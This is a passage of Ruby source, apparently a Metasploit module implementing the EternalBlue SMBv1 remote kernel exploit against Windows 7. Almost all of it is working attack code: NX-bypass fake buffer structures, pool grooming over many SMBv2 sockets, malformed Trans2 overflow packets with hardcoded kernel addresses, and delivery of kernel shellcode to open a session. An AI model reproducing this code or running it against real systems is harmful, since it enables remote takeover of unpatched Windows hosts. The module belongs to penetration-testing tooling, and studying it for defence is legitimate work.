16845fake_srv_net_buffer_x64nx += "\x00" * 16846fake_srv_net_buffer_x64nx += [0, 0].pack('QQ<')847fake_srv_net_buffer_x64nx += [0, TARGET_HAL_HEAP_ADDR].pack('QQ<') # _, _, pointer to fake struct848fake_srv_net_buffer_x64nx += [0, 0,].pack('QQ<')849fake_srv_net_buffer_x64nx += "\x00" * 16850fake_srv_net_buffer_x64nx += "\x00" * 16851fake_srv_net_buffer_x64nx += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags852fake_srv_net_buffer_x64nx += [0, pte_addr + 7 - 0x7f].pack('QQ<') # MDL.Process, MDL.MappedSystemVa853854fea_list_nx = [0x10000].pack('I<')855fea_list_nx += NTFEA_9000856fea_list_nx += [0, 0, fake_srv_net_buffer_x64nx.length - 1].pack('CCS<') + fake_srv_net_buffer_x64nx # -1 because first '\x00' is for name857# stop copying by invalid flag (can be any value except 0 and 0x80)858fea_list_nx += [0x12, 0x34, 0x5678].pack('CCS<')859860fea_list_nx861end862863def default_session_setup_request864p = RubySMB::SMB1::Packet::SessionSetupRequest.new865p.parameter_block.max_buffer_size = 61440866p.parameter_block.max_mpx_count = 50867p.smb_header.flags2.extended_security = 1868869p870end871872# Returns the value to be passed to SMB clients for873# the password. If the user has not supplied a password874# it returns an empty string to trigger an anonymous875# logon.876#877# @return [String] the password value878def smb_pass879if datastore['SMBPass'].present?880datastore['SMBPass']881else882''883end884end885886# Returns the value to be passed to SMB clients for887# the username. If the user has not supplied a username888# it returns an empty string to trigger an anonymous889# logon.890#891# @return [String] the username value892def smb_user893if datastore['SMBUser'].present?894datastore['SMBUser']895else896''897end898end899900# Returns the value to be passed to SMB clients for901# the domain. If the user has not supplied a domain902# it returns an empty string to trigger an anonymous903# logon.904#905# @return [String] the domain value906def smb_domain907if datastore['SMBDomain'].present?908datastore['SMBDomain']909else910''911end912end913914class SessionSetupSMB1RequestWithPoorlyFormedDataBlock < RubySMB::GenericPacket915COMMAND = RubySMB::SMB1::Commands::SMB_COM_SESSION_SETUP_ANDX916917class ParameterBlock < RubySMB::SMB1::Packet::SessionSetupRequest::ParameterBlock918end919920class DataBlock < RubySMB::SMB1::DataBlock921# Key difference for this class is that the length of security_blob is NOT dictated by the value of922# security_blob_length in the +SessionSetupRequest::ParameterBlock+923string :security_blob, label: 'Security Blob (GSS-API)'924string :native_os, label: 'Native OS'925string :native_lan_man, label: 'Native LAN Manager'926end927928smb_header :smb_header929parameter_block :parameter_block930data_block :data_block931end932933class CustomSessionSetupPacketRubySMBClient < ::RubySMB::Client934def send_recv(packet, encrypt: false)935version = packet.packet_smb_version936case version937when 'SMB1'938packet.smb_header.uid = user_id if user_id939packet.smb_header.pid_low = pid if pid && packet.smb_header.pid_low == 0940packet = smb1_sign(packet)941when 'SMB2'942packet = increment_smb_message_id(packet)943packet.smb2_header.session_id = session_id944unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)945if smb2946packet = smb2_sign(packet)947elsif smb3948packet = smb3_sign(packet)949end950end951end952953encrypt_data = false954if can_be_encrypted?(packet) && encryption_supported? && (@session_encrypt_data || encrypt)955encrypt_data = true956end957send_packet(packet, encrypt: encrypt_data)958raw_response = recv_packet(encrypt: encrypt_data)959smb2_header = nil960unless version == 'SMB1'961loop do962smb2_header = RubySMB::SMB2::SMB2Header.read(raw_response)963break unless is_status_pending?(smb2_header)964965sleep 1966raw_response = recv_packet(encrypt: encrypt_data)967rescue IOError968# We're expecting an SMB2 packet, but the server sent an SMB1 packet969# instead. This behavior has been observed with older versions of Samba970# when something goes wrong on the server side. So, we just ignore it971# and expect the caller to handle this wrong response packet.972break973end974end975976self.sequence_counter += 1 if signing_required && !session_key.empty?977# update the SMB2 message ID according to the received Credit Charged978self.smb2_message_id += smb2_header.credit_charge - 1 if smb2_header && server_supports_multi_credit979raw_response980end981982def login(username: self.username, password: self.password,983domain: self.domain, local_workstation: self.local_workstation,984ntlm_flags: default_flags,985session_setup_packet: nil,986session_setup_auth_packet: nil)987988negotiate989session_setup(username, password, domain,990local_workstation: local_workstation,991ntlm_flags: ntlm_flags,992session_setup_packet: session_setup_packet,993session_setup_auth_packet: session_setup_auth_packet)994end995996def session_setup(user, pass, domain,997local_workstation: self.local_workstation, ntlm_flags: default_flags,998session_setup_packet: nil, session_setup_auth_packet: nil)999@domain = domain1000@local_workstation = local_workstation1001@password = pass.encode('utf-8') || ''.encode('utf-8')1002@username = user.encode('utf-8') || ''.encode('utf-8')10031004@ntlm_client = Net::NTLM::Client.new(1005@username,1006@password,1007workstation: @local_workstation,1008domain: @domain,1009flags: ntlm_flags1010)10111012authenticate(smb1_setup_pkt: session_setup_packet, smb1_setup_auth_pkt: session_setup_auth_packet)1013end10141015def authenticate(smb1_setup_pkt: nil, smb1_setup_auth_pkt: nil)1016if smb11017if username.empty? && password.empty?1018smb1_authenticate(session_setup_packet: smb1_setup_pkt,1019session_setup_auth_packet: smb1_setup_auth_pkt,1020anonymous: true)1021else1022smb1_authenticate(session_setup_packet: smb1_setup_pkt,1023session_setup_auth_packet: smb1_setup_auth_pkt)1024end1025else1026smb2_authenticate1027end1028end10291030def smb1_authenticate(session_setup_packet: nil, session_setup_auth_packet: nil, anonymous: false)1031response = smb1_ntlmssp_negotiate(session_setup_packet: session_setup_packet)1032challenge_packet = smb1_ntlmssp_challenge_packet(response)10331034# Store the available OS information before going forward.1035@peer_native_os = challenge_packet.data_block.native_os.to_s1036@peer_native_lm = challenge_packet.data_block.native_lan_man.to_s1037user_id = challenge_packet.smb_header.uid1038type2_b64_message = smb1_type2_message(challenge_packet)1039type3_message = @ntlm_client.init_context(type2_b64_message)10401041if anonymous1042type3_message.ntlm_response = ''1043type3_message.lm_response = ''1044end10451046@session_key = @ntlm_client.session_key1047challenge_message = @ntlm_client.session.challenge_message1048store_target_info(challenge_message.target_info) if challenge_message.has_flag?(:TARGET_INFO)1049@os_version = extract_os_version(challenge_message.os_version.to_s) unless challenge_message.os_version.empty?10501051raw = smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: session_setup_auth_packet)1052response = smb1_ntlmssp_final_packet(raw)1053response_code = response.status_code10541055@user_id = user_id if response_code == ::WindowsError::NTStatus::STATUS_SUCCESS1056response_code1057end10581059def smb1_ntlmssp_negotiate(session_setup_packet: nil)1060packet = smb1_ntlmssp_negotiate_packet(session_setup_packet: session_setup_packet)1061send_recv(packet)1062end10631064def smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: nil)1065packet = smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: session_setup_packet)1066send_recv(packet)1067end10681069def smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: nil)1070if session_setup_packet.nil?1071packet = RubySMB::SMB1::Packet::SessionSetupRequest.new1072packet.smb_header.uid = user_id1073packet.set_type3_blob(type3_message.serialize)1074packet.parameter_block.max_mpx_count = 501075packet.smb_header.flags2.extended_security = 110761077packet1078else1079if session_setup_packet.data_block.security_blob.empty?1080session_setup_packet.set_type3_blob(type3_message.serialize)1081end1082if session_setup_packet.smb_header.uid == 01083session_setup_packet.smb_header.uid = user_id1084end1085if session_setup_packet.parameter_block.max_buffer_size == 01086session_setup_packet.parameter_block.max_buffer_size = max_buffer_size1087end1088if session_setup_packet.smb_header.pid_low == 01089session_setup_packet.smb_header.pid_low = pid1090end10911092session_setup_packet1093end1094end10951096def smb1_ntlmssp_negotiate_packet(session_setup_packet: nil)1097type1_message = ntlm_client.init_context10981099if session_setup_packet.nil?1100packet = RubySMB::SMB1::Packet::SessionSetupRequest.new unless session_setup_packet1101packet.set_type1_blob(type1_message.serialize)1102packet.parameter_block.max_mpx_count = 501103packet.smb_header.flags2.extended_security = 111041105packet1106else1107if session_setup_packet.data_block.security_blob.empty?1108session_setup_packet.set_type1_blob(type1_message.serialize)1109end11101111session_setup_packet1112end1113end1114end1115end11161117module EternalBlueWin71118require 'ruby_smb'1119require 'ruby_smb/smb1/packet'1120require 'windows_error'11211122include Msf::Exploit::Remote::DCERPC11231124class EternalBlueError < StandardError1125end11261127def exploit_eb1128begin1129for i in 1..datastore['MaxExploitAttempts']1130grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)1131smb_eternalblue(datastore['ProcessName'], grooms)11321133# we don't need this sleep, and need to find a way to remove it1134# problem is session_count won't increment until stage is complete :\1135secs = 01136while !session_created? && (secs < 30)1137secs += 11138sleep 11139end11401141if session_created?1142print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1143print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1144print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1145break1146else1147print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1148print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1149print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1150end1151end1152rescue EternalBlueError => e1153print_error(e.message.to_s)1154return false1155rescue ::RubySMB::Error::NegotiationFailure1156print_error('SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds.')1157return false1158rescue ::RubySMB::Error::UnexpectedStatusCode,1159::Errno::ECONNRESET,1160::Rex::HostUnreachable,1161::Rex::ConnectionTimeout,1162::Rex::ConnectionRefused,1163::RubySMB::Error::CommunicationError => e1164print_error("#{e.class}: #{e.message}")1165report_failure1166return false1167rescue StandardError => e1168print_error(e.class.to_s)1169print_error(e.message)1170print_error(e.backtrace.join("\n"))1171return false1172end1173end11741175def smb_eternalblue(process_name, grooms)1176begin1177# Step 0: pre-calculate what we can1178shellcode = make_kernel_user_payload(payload.encoded, process_name)1179payload_hdr_pkt = make_smb2_payload_headers_packet1180payload_body_pkt = make_smb2_payload_body_packet(shellcode)11811182# Step 1: Connect to IPC$ share1183print_status('Connecting to target for exploitation.')1184client, tree, sock, os = smb1_anonymous_connect_ipc1185rescue RubySMB::Error::CommunicationError1186# Error handler in case SMBv1 disabled on target1187raise EternalBlueError, 'Could not make SMBv1 connection'1188else1189print_good('Connection established for exploitation.')11901191if verify_target(os)1192print_good('Target OS selected valid for OS indicated by SMB reply')1193else1194print_warning('Target OS selected not valid for OS indicated by SMB reply')1195print_warning('Disable VerifyTarget option to proceed manually...')1196raise EternalBlueError, 'Unable to continue with improper OS Target.'1197end11981199# cool buffer print no matter what, will be helpful when people post debug issues1200print_core_buffer(os)12011202if verify_arch1203print_good('Target arch selected valid for arch indicated by DCE/RPC reply')1204else1205print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')1206print_warning('Disable VerifyArch option to proceed manually...')1207raise EternalBlueError, 'Unable to continue with improper OS Arch.'1208end12091210print_status("Trying exploit with #{grooms} Groom Allocations.")12111212# Step 2: Create a large SMB1 buffer1213print_status('Sending all but last fragment of exploit packet')1214smb1_large_buffer(client, tree, sock)12151216# Step 3: Groom the pool with payload packets, and open/close SMB1 packets1217print_status('Starting non-paged pool grooming')12181219# initialize_groom_threads(ip, port, payload, grooms)1220fhs_sock = smb1_free_hole(true)12211222@groom_socks = []12231224print_good('Sending SMBv2 buffers')1225smb2_grooms(grooms, payload_hdr_pkt)12261227fhf_sock = smb1_free_hole(false)12281229print_good('Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.')1230fhs_sock.shutdown12311232print_status('Sending final SMBv2 buffers.') # 6x1233smb2_grooms(6, payload_hdr_pkt) # TODO: magic #12341235fhf_sock.shutdown12361237print_status('Sending last fragment of exploit packet!')1238final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)1239sock.put(final_exploit_pkt)12401241print_status('Receiving response from exploit packet')1242code, _raw = smb1_get_response(sock)12431244code_str = '0x' + code.to_i.to_s(16).upcase1245if code.nil?1246print_error('Did not receive a response from exploit packet')1247elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)1248print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")1249else1250print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")1251end12521253# Step 4: Send the payload1254print_status('Sending egg to corrupted connection.')12551256@groom_socks.each { |gsock| gsock.put(payload_body_pkt.first(2920)) }1257@groom_socks.each { |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }12581259print_status('Triggering free of corrupted buffer.')1260# tree disconnect1261# logoff and x1262# note: these aren't necessary, just close the sockets1263return true1264ensure1265abort_sockets1266end1267end12681269def verify_target(os)1270os = os.gsub("\x00", '') # strip unicode bs1271os << "\x00" # but original has a null1272ret = true12731274if datastore['VerifyTarget']1275ret = false1276# search if its in patterns1277target['os_patterns'].each do |pattern|1278if os.downcase.include? pattern.downcase1279ret = true1280break1281end1282end1283end12841285return ret1286end12871288def verify_arch1289return true unless datastore['VerifyArch']12901291# XXX: This sends a new DCE/RPC packet1292arch = dcerpc_getarch12931294return true if arch && arch == target_arch.first12951296print_warning("Target arch is #{target_arch.first}, but server returned #{arch.inspect}")1297print_warning('The DCE/RPC service or probe may be blocked') if arch.nil?1298false1299end13001301def print_core_buffer(os)1302print_status("CORE raw buffer dump (#{os.length} bytes)")13031304count = 01305chunks = os.scan(/.{1,16}/)1306chunks.each do |chunk|1307hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, '0') }.join(' ')13081309format = format('0x%08x %-47s %-16s', (count * 16), hexdump, chunk)1310print_status(format)1311count += 11312end1313end13141315def smb2_grooms(grooms, payload_hdr_pkt)1316grooms.times do |_groom_id|1317gsock = connect(false)1318@groom_socks << gsock1319gsock.put(payload_hdr_pkt)1320end1321end13221323def smb1_anonymous_connect_ipc1324sock = connect(false)1325dispatcher = RubySMB::Dispatcher::Socket.new(sock)1326client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)1327client.pid = nil1328response_code = client.login13291330unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS1331raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"1332end13331334os = client.peer_native_os13351336tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")13371338return client, tree, sock, os1339end13401341def smb1_large_buffer(client, tree, sock)1342nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)13431344# send NT Trans1345vprint_status('Sending NT Trans Request packet')13461347client.send_recv(nt_trans_pkt)1348# Initial Trans2 request1349trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)13501351# send all but last packet1352for i in 1..141353trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)1354end13551356vprint_status('Sending malformed Trans2 packets')1357sock.put(trans2_pkt_nulled)13581359begin1360sock.get_once1361rescue EOFError1362vprint_error('No response back from SMB echo request. Continuing anyway...')1363end13641365client.echo(count: 1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")1366end13671368def smb1_free_hole(start)1369sock = connect(false)1370dispatcher = RubySMB::Dispatcher::Socket.new(sock)1371client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)1372client.pid = nil1373client.negotiate13741375pkt = ''13761377if start1378vprint_status('Sending start free hole packet.')1379pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")1380else1381vprint_status('Sending end free hole packet.')1382pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")1383end13841385client.send_recv(pkt)1386sock1387end13881389def smb1_get_response(sock)1390raw = nil13911392# dirty hack since it doesn't always like to reply the first time...139316.times do1394raw = sock.get_once1395break unless raw.nil? || raw.empty?1396end13971398return nil unless raw13991400response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])1401code = response.nt_status1402return code, raw, response1403end14041405def make_smb2_payload_headers_packet1406# don't need a library here, the packet is essentially nonsensical1407pkt = ''1408pkt << "\x00" # session message1409pkt << "\x00\xff\xf7" # size1410pkt << "\xfeSMB" # SMB21411pkt << "\x00" * 12414121413pkt1414end14151416def make_smb2_payload_body_packet(kernel_user_payload)1417# precalculated lengths1418pkt_max_len = 42041419pkt_setup_len = 4971420pkt_max_payload = pkt_max_len - pkt_setup_len # 357514211422# this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode1423pkt = ''14241425# padding1426pkt << "\x00" * 0x81427pkt << "\x03\x00\x00\x00"1428pkt << "\x00" * 0x1c1429pkt << "\x03\x00\x00\x00"1430pkt << "\x00" * 0x7414311432# KI_USER_SHARED_DATA addresses1433pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address1434pkt << "\x00" * 0x101435pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address1436pkt << "\x00" * 0xc414371438# payload addreses1439pkt << "\x90\xf1\xdf\xff"1440pkt << "\x00" * 0x41441pkt << "\xf0\xf1\xdf\xff"1442pkt << "\x00" * 0x4014431444pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"1445pkt << "\x00" * 0x81446pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"1447pkt << "\x00"14481449pkt << kernel_user_payload14501451# fill out the rest, this can be randomly generated1452pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)14531454pkt1455end14561457# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit1458def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)1459timeout = (timeout * 0x10) + 31460timeout_value = "\x35\x00\xd0" + timeout.chr14611462packet = RubySMB::SMB1::Packet::Trans2::Request.new1463packet = set_smb1_headers(packet, tree_id, user_id)14641465# The packets are labeled as Secondary Requests but are actually structured1466# as normal Trans2 Requests for some reason. We shall similarly cheat here.1467packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY14681469packet.parameter_block.flags.read("\x00\x10")1470packet.parameter_block.timeout.read(timeout_value)14711472packet.parameter_block.word_count = 91473packet.parameter_block.total_data_count = 40961474packet.parameter_block.parameter_count = 409614751476nbss = "\x00\x00\x10\x35"1477pkt = packet.to_binary_s1478pkt = pkt[0, packet.parameter_block.parameter_offset.abs_offset]1479pkt = nbss + pkt14801481case type1482when :eb_trans2_exploit1483vprint_status('Making :eb_trans2_exploit packet')14841485pkt << "\x41" * 295714861487pkt << "\x80\x00\xa8\x00" # overflow14881489pkt << "\x00" * 0x101490pkt << "\xff\xff"1491pkt << "\x00" * 0x61492pkt << "\xff\xff"1493pkt << "\x00" * 0x1614941495pkt << "\x00\xf1\xdf\xff" # x86 addresses1496pkt << "\x00" * 0x81497pkt << "\x20\xf0\xdf\xff"14981499pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x6415001501pkt << "\x60\x00\x04\x10"1502pkt << "\x00" * 415031504pkt << "\x80\xef\xdf\xff"15051506pkt << "\x00" * 41507pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"1508pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"1509pkt << "\x00" * 0x1015101511pkt << "\x60\x00\x04\x10"1512pkt << "\x00" * 0xc1513pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"1514pkt << "\x00" * 0x81515pkt << "\x80\x10"1516pkt << "\x00" * 0xe1517pkt << "\x39"1518pkt << "\xbb"15191520pkt << "\x41" * 9651521when :eb_trans2_zero1522vprint_status('Making :eb_trans2_zero packet')1523pkt << "\x00" * 20551524pkt << "\x83\xf3"1525pkt << "\x41" * 20391526else1527vprint_status('Making :eb_trans2_buffer packet')1528pkt << "\x41" * 40961529end1530pkt1531end15321533def make_smb1_nt_trans_packet(tree_id, user_id)1534packet = RubySMB::SMB1::Packet::NtTrans::Request.new15351536# Disable the automatic padding because it will distort1537# our values here.1538packet.data_block.enable_padding = false15391540packet = set_smb1_headers(packet, tree_id, user_id)15411542packet.parameter_block.max_setup_count = 11543packet.parameter_block.total_parameter_count = 301544packet.parameter_block.total_data_count = 665121545packet.parameter_block.max_parameter_count = 301546packet.parameter_block.max_data_count = 01547packet.parameter_block.parameter_count = 301548packet.parameter_block.parameter_offset = 751549packet.parameter_block.data_count = 9761550packet.parameter_block.data_offset = 1041551packet.parameter_block.function = 015521553packet.parameter_block.setup << 0x000015541555packet.data_block.byte_count = 10041556packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ("\x00" * 973)1557packet1558end15591560def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)1561packet = RubySMB::SMB1::Packet::SessionSetupRequest.new15621563packet.smb_header.flags.read("\x18")1564packet.smb_header.flags2.read(flags2)1565packet.smb_header.pid_high = 652791566packet.smb_header.mid = 6415671568packet.parameter_block.vc_number.read(vcnum)1569packet.parameter_block.max_buffer_size = 43561570packet.parameter_block.max_mpx_count = 101571packet.parameter_block.security_blob_length = 015721573packet.smb_header.flags2.unicode = 01574packet.data_block.security_blob = native_os + "\x00" * 151575packet.data_block.native_os = ''1576packet.data_block.native_lan_man = ''1577packet1578end15791580# Sets common SMB1 Header values used by the various1581# packets in the exploit.1582#1583# @return [RubySMB::GenericPacket] the modified version of the packet1584def set_smb1_headers(packet, tree_id, user_id)1585packet.smb_header.flags2.read("\x07\xc0")1586packet.smb_header.tid = tree_id1587packet.smb_header.uid = user_id1588packet.smb_header.pid_low = 652791589packet.smb_header.mid = 641590packet1591end15921593# Returns the value to be passed to SMB clients for1594# the password. If the user has not supplied a password1595# it returns an empty string to trigger an anonymous1596# logon.1597#1598# @return [String] the password value1599def smb_pass1600if datastore['SMBPass'].present?1601datastore['SMBPass']1602else1603''1604end1605end16061607# Returns the value to be passed to SMB clients for1608# the username. If the user has not supplied a username1609# it returns an empty string to trigger an anonymous1610# logon.1611#1612# @return [String] the username value1613def smb_user1614if datastore['SMBUser'].present?1615datastore['SMBUser']1616else1617''1618end1619end16201621# Returns the value to be passed to SMB clients for1622# the domain. If the user has not supplied a domain1623# it returns an empty string to trigger an anonymous1624# logon.1625#1626# @return [String] the domain value1627def smb_domain1628if datastore['SMBDomain'].present?1629datastore['SMBDomain']1630else1631''1632end1633end1634end163516361637